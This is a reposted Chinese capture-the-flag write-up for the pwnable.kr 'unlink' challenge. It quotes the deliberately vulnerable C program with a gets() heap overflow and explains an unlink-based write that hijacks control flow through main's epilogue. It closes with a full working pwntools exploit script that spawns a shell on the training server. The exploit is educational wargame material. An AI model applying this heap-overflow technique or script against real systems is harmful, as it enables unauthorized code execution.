【pwnable.kr】 unlink


 

pwnable.kr 第一階段的最后一題!

 

這道題目就是堆溢出的經典利用題目,不過是把堆塊的分配與釋放操作用C++重新寫了一遍,可參考《C和C++安全編碼一書》//不是廣告

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

這道題在get(A->buf)處存在明顯的堆溢出,可以覆蓋A->buf以后全部堆內存。

首先在gets(A->buf)后,執行了unlink操作,操作導致[B->bk]->fd被B->fd值覆寫以及[B->fd]->bk被B->bk覆寫。

該覆寫過程發生於Unlink函數中,當輸入A->buf溢出覆蓋了B->fd和B->bk時,可導致一個DWORD SHOOT覆寫。但會產生另外一個DWORD被覆蓋的副作用。

1. 最初的想法通過上述的DWORD SHOOT覆寫Unlink函數的返回地址,將該返回地址改為shell函數的返回地址。可能導致在Unlink返回時跳轉到shell函數去

即:

  B->bk = Unlink的返回地址

  B->bk = Shell函數的起始地址

  根據覆寫流程,會產生一個副作用,即[Shell函數的起始地址+4 ] = Unlink的返回地址

 

當該副作用產生時,shell函數內容會被篡改,導致出錯該方案行不通。

2. 第二種考慮將shellcode寫在溢出的堆上,同樣利用上述方法,將返回地址寫到堆上的地址,然后再使用跳轉,至shell函數中以獲得flag。

堆內存即

A結構+B->fd+B->bk+nop*n + jmp shell + jmp short xxx 

其中返回地址覆寫為jmp short xxx,這樣Unlink結束后跳轉至jmp short xx指令,jmp短跳轉至nop然后再jmp shell導致獲取權限。

這樣覆寫位置在jmp short xx指令后,對執行函數無影響,方案貌似可行。

這時存在的問題是需要在堆上執行代碼,需要堆上的數據有執行權限。查看一下開啟的保護:

發現開啟了NX保護,堆上代碼不可執行,因此該方案也無效。

3. 最終,無可奈何只能繼續往下面找,發現unlink函數沒有可以利用的地方了,然后main函數直接結束了,也沒有給出之前做過的覆寫GOT表的機會。

最終在main函數返回時找到可以利用的地方。

retn指令相當於pop eip,該指令是可以控制程序運行流程的,流程的來源是esp指向的地址。

而再之前 lea esp,[ecx-4]即把ecx-4地址中的數據賦給esp。

而在此逆推ecx的值是從mov ecx,[ebp-4]中得到的。

而leave指令相當於mov esp ebp,pop ebp,對esp數據的來源無影響。

ebp在整個main函數運行中是不變的。

因此,可以構造 [ecx-4] = shell的起始地址

這樣 就可以先把 shell的起始地址寫到一個內存地址(如可以在A->buf的起始部分輸入shell函數地址),ecx再指向該地址+4.

進一步就是將ebp-4地址中的值覆寫成上面的地址+4.

======================思路over===========================================

因此輸入的內容就是shell地址+填充字符 + B->fb + B->bk就可以了。

根據前一篇文中堆塊的地址分配,malloc(sizeof(OBJ)的大小就應該是8 * (int(4+4+8 + 4)/8 +1) = 24

A->buf = 12,再加上B堆塊固有的堆塊大小及標志位4字節,shell+填充字符共計為16字節。

假設A->buf的地址記為shell,shell = A+8 

下一步要解決的是B->fb和B->bk問題。

    BK=B->bk;
    FD=B->fd;
    FD->bk=BK;
    BK->fd=FD;

由OBJ結構可知OBJ->fb = OBJ,OBJ->bk=OBJ+4.

所以,覆寫就有兩種覆寫方法,BK為shell+4,或者BK為EBP-4

當BK= shell+4 時,FD + 4 = EBP-4,FD=EBP-8 , 覆寫時,[shell + 4 ] = EBP-8

當BK = EBP-4時,FD + 4 = shell +4 ,FD = shell,  覆寫時,[shell+4] = EBP-4

二者的覆寫均無影響。

再說,shell的值與EBP的值如何獲得。

 

shell  = A + 8,A可由打印的第二個值獲得。

而EBP可由反匯編代碼中看到,

 

 &A= EBP-0x14

由上述兩種方法求得的fb、bk分別 

1. 

payload += p32(heap_addr + 12)
payload += p32(stack_addr + 0x10)

2. 

payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 )

編寫payload腳本

from pwn import *

shell_addr = 0x080484eb

s =  ssh(host='pwnable.kr',
         port=2222,
         user='unlink',
         password='guest'
        )
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)
payload = p32(shell_addr)
payload += 'a'*12
#payload += p32(heap_addr + 12)
#payload += p32(stack_addr + 0x10)

payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 )

p.send(payload)
p.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM